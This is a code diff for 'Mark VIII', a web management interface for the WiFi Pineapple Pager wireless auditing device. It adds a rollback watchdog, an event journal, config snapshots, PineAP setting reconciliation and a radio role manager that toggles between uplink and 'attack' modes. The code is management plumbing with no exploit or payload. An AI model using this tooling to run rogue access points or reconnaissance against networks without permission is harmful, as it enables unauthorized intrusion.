[ -f "$GUARD_DIR/server.py" ] || return 0
|
||||
/usr/bin/python3 "$GUARD_DIR/server.py" --reconcile \
|
||||
>/tmp/mk8-guard.log 2>&1 || true
|
||||
}
|
||||
|
||||
stop() { return 0; }
|
||||
+35
@@ -0,0 +1,35 @@
|
||||
#!/bin/sh
|
||||
# Usage: mk8-watchdog.sh <profile> <interval> <fail_after> <healthy_after> [max_ticks]
|
||||
# Exits quietly after max_ticks healthy ticks so sentinels cannot accumulate.
|
||||
PROFILE="$1"; IV="${2:-5}"; FA="${3:-6}"; HA="${4:-6}"; MT="${5:-120}"
|
||||
DIR="/root/payloads/user/remote_access/pager-webui"
|
||||
[ -f "$DIR/server.py" ] || DIR="/mmc/mk8/releases/current"
|
||||
fails=0; oks=0; tripped=0; ticks=0
|
||||
probe() {
|
||||
curl -fsS -m 3 http://127.0.0.1:8080/ >/dev/null 2>&1 &&
|
||||
{ ip link show wlan0mon >/dev/null 2>&1 ||
|
||||
ip link show wlan1mon >/dev/null 2>&1; }
|
||||
}
|
||||
while true; do
|
||||
if probe; then
|
||||
fails=0
|
||||
ticks=$((ticks + 1))
|
||||
if [ "$tripped" = "0" ] && [ "$ticks" -ge "$MT" ]; then
|
||||
exit 0
|
||||
fi
|
||||
if [ "$tripped" = "1" ]; then
|
||||
oks=$((oks + 1))
|
||||
if [ "$oks" -ge "$HA" ]; then
|
||||
/usr/bin/python3 "$DIR/server.py" --promote-snapshot "$PROFILE" >/dev/null 2>&1
|
||||
exit 0
|
||||
fi
|
||||
fi
|
||||
else
|
||||
fails=$((fails + 1)); oks=0
|
||||
if [ "$tripped" = "0" ] && [ "$fails" -ge "$FA" ]; then
|
||||
tripped=1
|
||||
/usr/bin/python3 "$DIR/server.py" --rollback-snapshot "$PROFILE" >/dev/null 2>&1
|
||||
fi
|
||||
fi
|
||||
sleep "$IV"
|
||||
done
|
||||
@@ -0,0 +1,131 @@
|
||||
"""Mark VIII reliability event journal. JSONL on /mmc, rotated."""
|
||||
import json, os, threading, time
|
||||
from collections import deque
|
||||
|
||||
MK8_DIR = '/mmc/mk8'
|
||||
EVENTS_PATH = os.path.join(MK8_DIR, 'events.log')
|
||||
MAX_BYTES = 5 * 1024 * 1024
|
||||
KEEP = 4
|
||||
_LOCK = threading.Lock()
|
||||
|
||||
_COUNTER_KEYS = {'boot': 'boots', 'unexpected_boot': 'unexpected_boots',
|
||||
'rollback': 'rollbacks', 'restart': 'restarts',
|
||||
'guard_fix': 'guard_fixes'}
|
||||
COUNTER_KINDS = tuple(_COUNTER_KEYS)
|
||||
|
||||
|
||||
def _ensure_dir():
|
||||
try:
|
||||
os.makedirs(MK8_DIR, exist_ok=True)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
def log_event(kind, sev='info', msg='', meta=None):
|
||||
"""Append one journal entry. Never raises: a reliability journal that
|
||||
can crash its caller would defeat its purpose. Single-writer per
|
||||
process is assumed; there is no inter-process lock."""
|
||||
try:
|
||||
entry = {'ts': int(time.time()), 'kind': str(kind), 'sev': sev,
|
||||
'msg': str(msg)[:500]}
|
||||
if meta is not None:
|
||||
json.dumps(meta)
|
||||
entry['meta'] = meta
|
||||
line = json.dumps(entry) + '\n'
|
||||
except Exception:
|
||||
try:
|
||||
line = json.dumps({'ts': int(time.time()), 'kind': str(kind),
|
||||
'sev': sev, 'msg': str(msg)[:500],
|
||||
'meta_repr': repr(meta)[:500]}) + '\n'
|
||||
except Exception:
|
||||
return
|
||||
with _LOCK:
|
||||
_ensure_dir()
|
||||
try:
|
||||
if os.path.exists(EVENTS_PATH) and \
|
||||
os.path.getsize(EVENTS_PATH) > MAX_BYTES:
|
||||
for i in range(KEEP - 1, 0, -1):
|
||||
src = '%s.%d' % (EVENTS_PATH, i)
|
||||
dst = '%s.%d' % (EVENTS_PATH, i + 1)
|
||||
if os.path.exists(src):
|
||||
os.replace(src, dst)
|
||||
if os.path.exists(EVENTS_PATH):
|
||||
os.replace(EVENTS_PATH, EVENTS_PATH + '.1')
|
||||
with open(EVENTS_PATH, 'a') as f:
|
||||
f.write(line)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
def read_events(limit=100):
|
||||
out = []
|
||||
paths = [EVENTS_PATH + '.%d' % i for i in range(KEEP, 0, -1)]
|
||||
paths.append(EVENTS_PATH)
|
||||
for path in paths:
|
||||
try:
|
||||
with open(path) as f:
|
||||
for l in f:
|
||||
if not l.strip():
|
||||
continue
|
||||
try:
|
||||
row = json.loads(l)
|
||||
except ValueError:
|
||||
continue
|
||||
if isinstance(row, dict):
|
||||
out.append(row)
|
||||
except OSError:
|
||||
continue
|
||||
out.sort(key=lambda r: r.get('ts', 0))
|
||||
return out[-limit:][::-1]
|
||||
|
||||
|
||||
def counters():
|
||||
counts = {v: 0 for v in _COUNTER_KEYS.values()}
|
||||
for row in read_events(limit=5000):
|
||||
k = row.get('kind')
|
||||
if k in _COUNTER_KEYS:
|
||||
counts[_COUNTER_KEYS[k]] += 1
|
||||
return counts
|
||||
|
||||
|
||||
def snapshot(event_limit=20, scan=2000):
|
||||
"""Newest-first events (up to event_limit) plus kind counters computed
|
||||
over at most `scan` most-recent entries, in ONE parse pass. Bounded so a
|
||||
large rotated journal cannot spike memory/CPU on every health poll."""
|
||||
events = []
|
||||
counts = {v: 0 for v in _COUNTER_KEYS.values()}
|
||||
scanned = 0
|
||||
paths = [EVENTS_PATH]
|
||||
paths.extend(EVENTS_PATH + '.%d' % i for i in range(KEEP, 0, -1))
|
||||
tail_len = max(scan, event_limit)
|
||||
for path in paths:
|
||||
if len(events) >= event_limit and scanned >= scan:
|
||||
break
|
||||
try:
|
||||
with open(path) as f:
|
||||
tail = deque((l for l in f if l.strip()), maxlen=tail_len)
|
||||
except OSError:
|
||||
continue
|
||||
for line in reversed(tail):
|
||||
try:
|
||||
row = json.loads(line)
|
||||
except ValueError:
|
||||
continue
|
||||
if not isinstance(row, dict):
|
||||
continue
|
||||
scanned += 1
|
||||
kind = row.get('kind')
|
||||
if kind in _COUNTER_KEYS:
|
||||
counts[_COUNTER_KEYS[kind]] += 1
|
||||
if len(events) < event_limit:
|
||||
events.append(row)
|
||||
if len(events) >= event_limit and scanned >= scan:
|
||||
break
|
||||
events.sort(key=lambda r: r.get('ts', 0), reverse=True)
|
||||
return {'events': events[:event_limit], 'reliability': counts}
|
||||
|
||||
|
||||
def mark_boot(unexpected=False):
|
||||
log_event('unexpected_boot' if unexpected else 'boot', sev='warn'
|
||||
if unexpected else 'info',
|
||||
msg='service started' + ('' if unexpected else ' cleanly'))
|
||||
@@ -0,0 +1,55 @@
|
||||
"""Risky-operation gate: preflight config snapshot + detached rollback watchdog."""
|
||||
import shlex
|
||||
import subprocess
|
||||
import threading
|
||||
|
||||
WATCHDOG = '/root/payloads/user/remote_access/pager-webui/mk8-watchdog.sh'
|
||||
FAIL_AFTER = 6 # consecutive local-liveness failures -> rollback
|
||||
HEALTHY_AFTER = 6 # consecutive successes after failure -> promote
|
||||
INTERVAL = 5 # seconds between probes
|
||||
MAX_TICKS = 120 # watchdog self-exits after this many quiet ticks
|
||||
_ENTER_LOCK = threading.Lock()
|
||||
|
||||
# Dormant until an entrypoint (serve() / CLI ops) flips it on, so importing
|
||||
# this module never snapshots or spawns anything.
|
||||
ENABLED = False
|
||||
|
||||
|
||||
def watchdog_decision(state):
|
||||
"""state: {'fails': int, 'oks': int, 'tripped': bool,
|
||||
'fail_after': 6, 'healthy_after': 6}
|
||||
Returns (action, new_state): action in {'rollback','promote',None}."""
|
||||
s = dict(state)
|
||||
fa = s.get('fail_after', FAIL_AFTER)
|
||||
ha = s.get('healthy_after', HEALTHY_AFTER)
|
||||
if not s['tripped'] and s['fails'] >= fa:
|
||||
return 'rollback', dict(s, tripped=True, oks=0)
|
||||
if s['tripped'] and s['oks'] >= ha:
|
||||
return 'promote', s
|
||||
return None, s
|
||||
|
||||
|
||||
def _spawn_watchdog(name):
|
||||
cmd = ('setsid sh %s %s %d %d %d %d >/dev/null 2>&1 &'
|
||||
% (shlex.quote(WATCHDOG), shlex.quote(name),
|
||||
INTERVAL, FAIL_AFTER, HEALTHY_AFTER, MAX_TICKS))
|
||||
return subprocess.Popen(cmd, shell=True, start_new_session=True)
|
||||
|
||||
|
||||
def enter(op):
|
||||
"""Snapshot + spawn watchdog. Returns profile name or None when disabled.
|
||||
Serialized so concurrent gated ops cannot interleave snapshots or spawn
|
||||
racing watchdogs."""
|
||||
if not ENABLED:
|
||||
return None
|
||||
with _ENTER_LOCK:
|
||||
import mk8_profiles
|
||||
name = mk8_profiles.auto_name(op)
|
||||
mk8_profiles.snapshot(name)
|
||||
_spawn_watchdog(name)
|
||||
try:
|
||||
import mk8_events
|
||||
mk8_events.log_event('gate', msg='preflight snapshot %s' % name)
|
||||
except Exception:
|
||||
pass
|
||||
return name
|
||||
@@ -0,0 +1,77 @@
|
||||
"""Boot-time reconciliation of crash-prone PineAP settings."""
|
||||
import time
|
||||
|
||||
from server import (_apply_uci_wanted, _monitor_down, _raise_monitors,
|
||||
PINEAPD_SAFE_UCI, device_run)
|
||||
|
||||
WANTED_EXTRA = {'pineapd.@pineapd[0].autossidpool': '0'}
|
||||
POOL_CLEAR_MAX = 20
|
||||
MONITORS = ('wlan0mon', 'wlan1mon')
|
||||
# pineapd.wlan1mon.hop is intentionally NOT part of the applied set: channel
|
||||
# hopping is owned by the RF role manager (_pause_hop/_resume_hop). Hop=1 is
|
||||
# the healthy recon baseline, so reconciling it here would silently disable a
|
||||
# pager-enabled setting at every boot and latch GUARD PENDING after any
|
||||
# attack-role switch.
|
||||
GR_TTL_SECONDS = 30
|
||||
_GR_CACHE = {'t': 0.0, 'data': None}
|
||||
|
||||
|
||||
def _wanted():
|
||||
wanted = {k: v for k, v in PINEAPD_SAFE_UCI.items()
|
||||
if k != 'pineapd.wlan1mon.hop'}
|
||||
wanted.update(WANTED_EXTRA)
|
||||
return wanted
|
||||
|
||||
|
||||
def _pool_size():
|
||||
rc, out, err = device_run(
|
||||
['uci', 'get', 'pineapd.@ssidpool[0].ssid'])
|
||||
if rc != 0 or not (out or '').strip():
|
||||
return 0
|
||||
return len(out.split())
|
||||
|
||||
|
||||
def _ensure_pineapd_section():
|
||||
"""Stock daemon rewrites and profile restores can drop the whole
|
||||
`config pineapd` section; every @pineapd[0] option write fails with
|
||||
'Invalid argument' until it exists again. Probes SECTION existence
|
||||
(`uci -q show @pineapd[0]`) — never an option, which may legitimately
|
||||
be absent from a rewritten section."""
|
||||
rc, out, err = device_run(['uci', '-q', 'show', 'pineapd.@pineapd[0]'])
|
||||
if rc == 0:
|
||||
return False
|
||||
device_run(['uci', 'add', 'pineapd', 'pineapd'])
|
||||
device_run(['uci', 'commit', 'pineapd'])
|
||||
return True
|
||||
|
||||
|
||||
def reconcile(clear_pool=True):
|
||||
changed = []
|
||||
if _ensure_pineapd_section():
|
||||
changed.append('pineapd.@pineapd[0] (section recreated)')
|
||||
changed += _apply_uci_wanted(_wanted())
|
||||
pool_cleared = False
|
||||
if clear_pool and _pool_size() > POOL_CLEAR_MAX:
|
||||
device_run(['uci', 'delete', 'pineapd.@ssidpool[0].ssid'])
|
||||
pool_cleared = True
|
||||
if changed or pool_cleared:
|
||||
device_run(['uci', 'commit', 'pineapd'])
|
||||
raised = _raise_monitors() if any(_monitor_down(m) for m in MONITORS) else []
|
||||
_GR_CACHE['data'] = None
|
||||
return {'changed': changed, 'pool_cleared': pool_cleared,
|
||||
'monitors_raised': raised}
|
||||
|
||||
|
||||
def guard_report():
|
||||
now = time.time()
|
||||
cached = _GR_CACHE['data']
|
||||
if cached is not None and now - _GR_CACHE['t'] < GR_TTL_SECONDS:
|
||||
return cached
|
||||
from server import _pending_uci
|
||||
_ensure_pineapd_section()
|
||||
pending = _pending_uci(_wanted())
|
||||
report = {'in_sync': not pending, 'pending': pending,
|
||||
'pool_size': _pool_size()}
|
||||
_GR_CACHE['t'] = now
|
||||
_GR_CACHE['data'] = report
|
||||
return report
|
||||
@@ -0,0 +1,96 @@
|
||||
"""UCI profile snapshots under /mmc/mk8/profiles/<name>/{pineapd,wireless,network}"""
|
||||
import os, re, time
|
||||
|
||||
PROFILES_DIR = '/mmc/mk8/profiles'
|
||||
CONFIGS = ('pineapd', 'wireless', 'network')
|
||||
NAME_RE = re.compile(r'^[A-Za-z0-9._-]{1,64}$')
|
||||
|
||||
|
||||
def run_cmd(args, timeout=20, input_data=None):
|
||||
"""Lazy import avoids a circular import with server.py; tests monkeypatch."""
|
||||
from server import device_run
|
||||
return device_run(args, timeout=timeout, input_data=input_data)
|
||||
|
||||
|
||||
def _path(name):
|
||||
"""Resolve a profile name to its directory. HTTP-supplied names are never
|
||||
trusted: reject anything but [A-Za-z0-9._-]{1,64} and explicitly refuse
|
||||
'.'/'..' so traversal can never escape PROFILES_DIR."""
|
||||
if not isinstance(name, str) or not NAME_RE.fullmatch(name) \
|
||||
or name in ('.', '..'):
|
||||
raise ValueError('invalid profile name')
|
||||
return os.path.join(PROFILES_DIR, name)
|
||||
|
||||
|
||||
def snapshot(name):
|
||||
dest = _path(name)
|
||||
try:
|
||||
os.makedirs(dest, exist_ok=True)
|
||||
wrote = False
|
||||
for cfg in CONFIGS:
|
||||
rc, out, err = run_cmd(['uci', 'export', cfg])
|
||||
if rc != 0 or not (out or '').strip():
|
||||
continue
|
||||
with open(os.path.join(dest, cfg + '.uci'), 'w') as f:
|
||||
f.write(out)
|
||||
wrote = True
|
||||
return wrote
|
||||
except OSError:
|
||||
return False
|
||||
|
||||
|
||||
def auto_name(op):
|
||||
return 'pre-%s-%d' % (op, int(time.time()))
|
||||
|
||||
|
||||
def list_profiles():
|
||||
try:
|
||||
out = []
|
||||
for d in os.listdir(PROFILES_DIR):
|
||||
try:
|
||||
if os.path.isdir(_path(d)):
|
||||
out.append(d)
|
||||
except ValueError:
|
||||
continue
|
||||
return sorted(out)
|
||||
except OSError:
|
||||
return []
|
||||
|
||||
|
||||
def delete(name):
|
||||
import shutil
|
||||
shutil.rmtree(_path(name), ignore_errors=True)
|
||||
|
||||
|
||||
def restore(name):
|
||||
"""Restore configs then commit once per config. Caller runs wifi reload
|
||||
/ service restart as appropriate for the operation."""
|
||||
src = _path(name)
|
||||
restored = []
|
||||
if not os.path.isdir(src):
|
||||
return {'ok': False, 'restored': [], 'error': 'profile not found'}
|
||||
for cfg in CONFIGS:
|
||||
fpath = os.path.join(src, cfg + '.uci')
|
||||
if not os.path.isfile(fpath):
|
||||
continue
|
||||
with open(fpath) as f:
|
||||
text = f.read()
|
||||
rc, _, err = run_cmd(['uci', 'import', cfg], input_data=text)
|
||||
if rc != 0:
|
||||
return {'ok': False, 'restored': restored,
|
||||
'error': 'import failed'}
|
||||
crc, _, cerr = run_cmd(['uci', 'commit', cfg])
|
||||
if crc != 0:
|
||||
return {'ok': False, 'restored': restored,
|
||||
'error': 'commit failed: %s' % (cerr or cfg)}
|
||||
restored.append(cfg)
|
||||
return {'ok': True, 'restored': restored}
|
||||
|
||||
|
||||
LASTKNOWN_GOOD = 'lastknown-good'
|
||||
|
||||
|
||||
def promote_lastknown_good():
|
||||
"""Replace the lastknown-good profile with the live config."""
|
||||
delete(LASTKNOWN_GOOD)
|
||||
return snapshot(LASTKNOWN_GOOD)
|
||||
@@ -0,0 +1,181 @@
|
||||
"""Mark VIII RF role manager: radio1/phy1 is shared between an uplink STA
|
||||
(``wlan1up``) and attack work, so the roles are made mutually exclusive.
|
||||
Uplink pauses channel hopping; attack/idle resumes it."""
|
||||
import time
|
||||
|
||||
ROLE_KEY = 'mk8.rfplan.role'
|
||||
IFACE = 'wlan1up'
|
||||
|
||||
# wifi reload returns while wpa_supplicant is still scanning/authenticating;
|
||||
# poll instead of checking once or every real uplink would false-fail.
|
||||
ASSOC_ATTEMPTS = 5
|
||||
# Security modes tried in order for PSK uplinks. sae-mixed covers
|
||||
# WPA2/WPA3 transition APs; plain SAE covers WPA3-only (PMF required);
|
||||
# psk2 covers legacy WPA2-PSK. ieee80211w matches each mode's PMF need.
|
||||
PSK_MODE_CHAIN = (('sae-mixed', '1'), ('sae', '2'), ('psk2', '0'))
|
||||
ASSOC_WAIT_SECONDS = 2
|
||||
|
||||
|
||||
def current_role():
|
||||
from server import _uci_values
|
||||
cfg = _uci_values('wireless.%s' % IFACE) or {}
|
||||
if cfg.get('disabled') != '1' and cfg.get('mode') == 'sta':
|
||||
return 'uplink'
|
||||
return 'idle'
|
||||
|
||||
|
||||
def _sta_netdev():
|
||||
"""Actual netdev carrying the radio1 STA. OpenWrt ignores a requested
|
||||
ifname for mac80211 STA ifaces (comes up as phy1-sta0), so resolve by
|
||||
phy membership + managed type instead of by name."""
|
||||
from server import device_run
|
||||
rc, out, err = device_run(['iw', 'dev'], timeout=10)
|
||||
if rc != 0:
|
||||
return None
|
||||
current = None
|
||||
managed = []
|
||||
for line in (out or '').splitlines():
|
||||
line = line.strip()
|
||||
if line.startswith('Interface '):
|
||||
current = line.split()[1]
|
||||
elif line.startswith('type managed') and current:
|
||||
if not current.startswith('wlan0'):
|
||||
managed.append(current)
|
||||
current = None
|
||||
for name in managed:
|
||||
rc2, o2, _ = device_run(
|
||||
['readlink', '/sys/class/net/%s/phy80211' % name], timeout=10)
|
||||
if rc2 == 0 and 'phy1' in (o2 or ''):
|
||||
return name
|
||||
return None
|
||||
|
||||
|
||||
def associated():
|
||||
"""BSSID of the uplink AP when the radio1 STA is associated, else None."""
|
||||
from server import device_run
|
||||
dev = _sta_netdev()
|
||||
if not dev:
|
||||
return None
|
||||
rc, out, err = device_run(['iw', 'dev', dev, 'link'], timeout=10)
|
||||
if rc != 0 or 'Connected' not in (out or ''):
|
||||
return None
|
||||
for line in (out or '').splitlines():
|
||||
line = line.strip()
|
||||
if line.startswith('Connected to '):
|
||||
parts = line.split()
|
||||
if len(parts) >= 3:
|
||||
return parts[2]
|
||||
return None
|
||||
|
||||
|
||||
def hop_paused():
|
||||
from server import _read_hop
|
||||
return _read_hop() == '0'
|
||||
|
||||
|
||||
def _ensure_cli_network():
|
||||
"""Make network 'cli' usable for the STA. Returns True when a network
|
||||
change was staged and still needs ``uci commit network``. Stock firmware
|
||||
ships 'cli' present but disabled; create a minimal DHCP interface when it
|
||||
is missing entirely so netifd can bring wlan1up up either way."""
|
||||
from server import device_run
|
||||
rc, _, _ = device_run(['uci', '-q', 'get', 'network.cli'])
|
||||
if rc != 0:
|
||||
device_run(['uci', 'set', 'network.cli=interface'])
|
||||
device_run(['uci', 'set', 'network.cli.proto=dhcp'])
|
||||
return True
|
||||
rc, out, _ = device_run(['uci', '-q', 'get', 'network.cli.disabled'])
|
||||
if rc == 0 and out.strip() == '1':
|
||||
device_run(['uci', 'set', 'network.cli.disabled=0'])
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
def set_role(role, ssid=None, psk=None):
|
||||
from server import device_run, _pause_hop, _resume_hop
|
||||
if role not in ('uplink', 'attack', 'idle'):
|
||||
return {'ok': False, 'error': 'role must be uplink, attack or idle'}
|
||||
if role == 'uplink':
|
||||
if not ssid:
|
||||
return {'ok': False, 'error': 'ssid required'}
|
||||
base_cmds = [
|
||||
['uci', 'set', 'wireless.wlan1up=wifi-iface'],
|
||||
['uci', 'set', 'wireless.wlan1up.device=radio1'],
|
||||
['uci', 'set', 'wireless.wlan1up.mode=sta'],
|
||||
['uci', 'set', 'wireless.wlan1up.network=cli'],
|
||||
['uci', 'set', 'wireless.wlan1up.ssid=%s' % ssid],
|
||||
['uci', 'set', 'wireless.wlan1up.disabled=0'],
|
||||
]
|
||||
if psk:
|
||||
base_cmds.append(['uci', 'set',
|
||||
'wireless.wlan1up.key=%s' % psk])
|
||||
for c in base_cmds:
|
||||
device_run(c)
|
||||
if _ensure_cli_network():
|
||||
# netifd consumes committed config only; staging without commit
|
||||
# would leave the STA with no L3 attachment.
|
||||
device_run(['uci', 'commit', 'network'])
|
||||
_pause_hop()
|
||||
assoc = None
|
||||
used_mode = None
|
||||
modes = PSK_MODE_CHAIN if psk else [('none', None)]
|
||||
for enc, pmf in modes:
|
||||
device_run(['uci', 'set', 'wireless.wlan1up.encryption=%s' % enc])
|
||||
if pmf is not None:
|
||||
device_run(['uci', 'set',
|
||||
'wireless.wlan1up.ieee80211w=%s' % pmf])
|
||||
device_run(['uci', 'commit', 'wireless'])
|
||||
device_run(['wifi', 'reload'], timeout=60)
|
||||
for _ in range(ASSOC_ATTEMPTS):
|
||||
time.sleep(ASSOC_WAIT_SECONDS)
|
||||
assoc = associated()
|
||||
if assoc:
|
||||
break
|
||||
if assoc:
|
||||
used_mode = enc
|
||||
break
|
||||
if not assoc or not used_mode:
|
||||
disable_uplink()
|
||||
# UCI alone does not converge runtime: without a reload wlan1up
|
||||
# keeps scanning/authenticating and pins phy1 until some unrelated
|
||||
# future reload, while current_role() already reports idle.
|
||||
# Converge now like the idle branch, then reapply the hop policy.
|
||||
device_run(['wifi', 'reload'], timeout=60)
|
||||
_resume_hop()
|
||||
return {'ok': False,
|
||||
'error': 'association failed; reverted',
|
||||
'tried_modes': [m for m, _ in modes]}
|
||||
return {'ok': True, 'role': 'uplink', 'assoc': assoc,
|
||||
'mode': used_mode}
|
||||
# attack/idle: tear down the STA so radio1 is free again.
|
||||
disable_uplink()
|
||||
_resume_hop()
|
||||
if role == 'attack':
|
||||
# The deploy path performs its own wifi reload right after; teardown
|
||||
# converges there without a second reload churn on this phy.
|
||||
try:
|
||||
import mk8_events
|
||||
mk8_events.log_event(
|
||||
'rfplan', msg='rfplan role attack applied; STA teardown '
|
||||
'applies at next wifi reload')
|
||||
except Exception:
|
||||
pass
|
||||
else:
|
||||
# idle has no guaranteed follow-up reload anywhere else, so converge
|
||||
# now while the gated watchdog is still armed.
|
||||
device_run(['wifi', 'reload'], timeout=60)
|
||||
return {'ok': True, 'role': role}
|
||||
|
||||
|
||||
def disable_uplink():
|
||||
from server import device_run
|
||||
device_run(['uci', 'set', 'wireless.wlan1up.disabled=1'])
|
||||
device_run(['uci', 'commit', 'wireless'])
|
||||
|
||||
|
||||
def ensure_attack():
|
||||
"""Exclusivity hook for radio1 attack-AP enable paths: switch the
|
||||
uplink off first so one phy never carries STA + AP at once."""
|
||||
if current_role() == 'uplink':
|
||||
return set_role('attack')
|
||||
return None
|
||||
@@ -7,18 +7,24 @@ USE_PROCD=1
|
||||
PAGER_WEBUI_DIR="/root/payloads/user/remote_access/pager-webui"
|
||||
[ -f "$PAGER_WEBUI_DIR/server.py" ] || PAGER_WEBUI_DIR="/mmc/root/payloads/user/remote_access/pager-webui"
|
||||
|
||||
boot() {
|
||||
PAGER_WEBUI_BOOT=1
|
||||
start
|
||||
}
|
||||
|
||||
start_service() {
|
||||
[ -f "$PAGER_WEBUI_DIR/server.py" ] || return 1
|
||||
chmod -R 755 "$PAGER_WEBUI_DIR" 2>/dev/null
|
||||
procd_open_instance pagerwebui
|
||||
procd_set_param command /usr/bin/python3 "$PAGER_WEBUI_DIR/server.py"
|
||||
procd_set_param env PAGER_WEBUI_BOOT="${PAGER_WEBUI_BOOT:-0}"
|
||||
procd_set_param respawn
|
||||
procd_set_param stdout 1
|
||||
procd_set_param stderr 1
|
||||
procd_set_param pidfile /tmp/pagerwebui.pid
|
||||
procd_set_param term_timeout 90
|
||||
procd_close_instance
|
||||
}
|
||||
|
||||
stop_service() {
|
||||
rm -f /tmp/pagerwebui.pid
|
||||
return 0
|
||||
}
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
# Title: Mark VIII
|
||||
# Description: Mark VII-style web management UI for the WiFi Pineapple Pager
|
||||
# Author: c4ch3c4d3
|
||||
# Version: 1.0
|
||||
# Version: 1.3.2
|
||||
# Category: Remote-Access
|
||||
# Tags: remote-access, web-interface, device-management, pineap
|
||||
# Firmware: Pineapple Pager 24.10.1
|
||||
@@ -28,7 +28,7 @@ get_pager_ip() {
|
||||
}
|
||||
|
||||
LOG "cyan" "+---------------------------+"
|
||||
LOG "cyan" "| Mark VIII v1.0 |"
|
||||
LOG "cyan" "| Mark VIII v1.3.2 |"
|
||||
LOG "cyan" "+---------------------------+"
|
||||
|
||||
if ! command -v python3 >/dev/null 2>&1; then
|
||||
@@ -36,6 +36,52 @@ if ! command -v python3 >/dev/null 2>&1; then
|
||||
exit 1
|
||||
fi
|
||||
|
||||
run_env_check() {
|
||||
LOG "cyan" "Running environment check..."
|
||||
if ! python3 "$SCRIPT_DIR/server.py" --env-check; then
|
||||
LOG "red" "Environment check FAILED. Fix the issues above and re-run the payload."
|
||||
sleep 3
|
||||
exit 1
|
||||
fi
|
||||
LOG "green" "Environment check passed."
|
||||
}
|
||||
|
||||
wait_for_server() {
|
||||
attempts="${1:-30}"
|
||||
while [ "$attempts" -gt 0 ]; do
|
||||
if curl -fsS "http://127.0.0.1:$PORT/" >/dev/null 2>&1; then
|
||||
return 0
|
||||
fi
|
||||
sleep 1
|
||||
attempts=$((attempts - 1))
|
||||
done
|
||||
return 1
|
||||
}
|
||||
|
||||
wait_for_server_stop() {
|
||||
attempts="${1:-12}"
|
||||
while [ "$attempts" -gt 0 ]; do
|
||||
if ! curl -fsS "http://127.0.0.1:$PORT/" >/dev/null 2>&1; then
|
||||
return 0
|
||||
fi
|
||||
sleep 1
|
||||
attempts=$((attempts - 1))
|
||||
done
|
||||
return 1
|
||||
}
|
||||
|
||||
release_pager_truth() {
|
||||
python3 "$SCRIPT_DIR/server.py" --release-pager >/tmp/pagerwebui-release.log 2>&1 || true
|
||||
}
|
||||
|
||||
remove_boot_service() {
|
||||
"$INIT_SCRIPT" stop 2>/dev/null || true
|
||||
wait_for_server_stop 90 || true
|
||||
release_pager_truth
|
||||
"$INIT_SCRIPT" disable 2>/dev/null || true
|
||||
rm -f "$INIT_SCRIPT"
|
||||
}
|
||||
|
||||
if [ -f "$INIT_SCRIPT" ] && "$INIT_SCRIPT" running 2>/dev/null; then
|
||||
PAGER_IP=$(get_pager_ip)
|
||||
LOG "green" "Mark VIII service is running"
|
||||
@@ -43,14 +89,26 @@ if [ -f "$INIT_SCRIPT" ] && "$INIT_SCRIPT" running 2>/dev/null; then
|
||||
resp=$(CONFIRMATION_DIALOG "Stop service?")
|
||||
if user_confirmed "$resp"; then
|
||||
LOG "yellow" "Stopping service..."
|
||||
"$INIT_SCRIPT" stop
|
||||
"$INIT_SCRIPT" disable
|
||||
rm -f "$INIT_SCRIPT"
|
||||
LOG "cyan" "Service stopped"
|
||||
remove_boot_service
|
||||
if ! wait_for_server_stop 90; then
|
||||
LOG "red" "Service is still listening on port $PORT"
|
||||
exit 1
|
||||
fi
|
||||
LOG "cyan" "Service stopped and removed from boot"
|
||||
fi
|
||||
exit 0
|
||||
fi
|
||||
|
||||
if [ -f "$INIT_SCRIPT" ] && "$INIT_SCRIPT" enabled 2>/dev/null; then
|
||||
LOG "yellow" "Mark VIII boot service is installed but not running"
|
||||
resp=$(CONFIRMATION_DIALOG "Remove boot service?")
|
||||
if user_confirmed "$resp"; then
|
||||
remove_boot_service
|
||||
LOG "cyan" "Boot service removed"
|
||||
exit 0
|
||||
fi
|
||||
fi
|
||||
|
||||
AUTO_MODE=$(PAYLOAD_GET_CONFIG pager_webui auto_mode 2>/dev/null)
|
||||
RUN_MODE=$(PAYLOAD_GET_CONFIG pager_webui run_mode 2>/dev/null)
|
||||
|
||||
@@ -67,13 +125,21 @@ else
|
||||
fi
|
||||
|
||||
if user_confirmed "$resp"; then
|
||||
run_env_check
|
||||
LOG "cyan" "Starting as background service..."
|
||||
[ ! -f "$SCRIPT_DIR/server.py" ] && { LOG "red" "server.py not found!"; exit 1; }
|
||||
cp "$SCRIPT_DIR/pagerwebui.init" "$INIT_SCRIPT"
|
||||
chmod +x "$INIT_SCRIPT"
|
||||
"$INIT_SCRIPT" enable
|
||||
"$INIT_SCRIPT" start
|
||||
sleep 1
|
||||
if ! "$INIT_SCRIPT" start; then
|
||||
LOG "red" "Service start command failed"
|
||||
exit 1
|
||||
fi
|
||||
if ! wait_for_server 90; then
|
||||
remove_boot_service
|
||||
LOG "red" "Service failed startup checks; inspect logread"
|
||||
exit 1
|
||||
fi
|
||||
PAGER_IP=$(get_pager_ip)
|
||||
LOG "green" "Service started!"
|
||||
LOG "green" "http://$PAGER_IP:$PORT"
|
||||
@@ -82,22 +148,25 @@ if user_confirmed "$resp"; then
|
||||
exit 0
|
||||
fi
|
||||
|
||||
run_env_check
|
||||
LOG "cyan" "Starting foreground mode..."
|
||||
cleanup() {
|
||||
LOG "yellow" "Stopping Mark VIII..."
|
||||
[ -f "$PID_FILE" ] && kill "$(cat "$PID_FILE")" 2>/dev/null
|
||||
wait_for_server_stop 90 || true
|
||||
release_pager_truth
|
||||
rm -f "$PID_FILE"
|
||||
LOG "cyan" "Stopped."
|
||||
LOG "cyan" "Stopped. Pager UI is source of truth."
|
||||
}
|
||||
trap cleanup EXIT INT TERM
|
||||
|
||||
[ ! -f "$SCRIPT_DIR/server.py" ] && { LOG "red" "server.py not found!"; exit 1; }
|
||||
python3 "$SCRIPT_DIR/server.py" >/tmp/pagerwebui.log 2>&1 &
|
||||
echo $! > "$PID_FILE"
|
||||
sleep 1
|
||||
|
||||
PAGER_IP=$(get_pager_ip)
|
||||
if [ -f "$PID_FILE" ] && kill -0 "$(cat "$PID_FILE")" 2>/dev/null; then
|
||||
if wait_for_server 90 && [ -f "$PID_FILE" ] &&
|
||||
kill -0 "$(cat "$PID_FILE")" 2>/dev/null; then
|
||||
LOG "green" "http://$PAGER_IP:$PORT"
|
||||
LOG ""
|
||||
LOG "magenta" "Press B to stop"
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,54 @@
|
||||
---
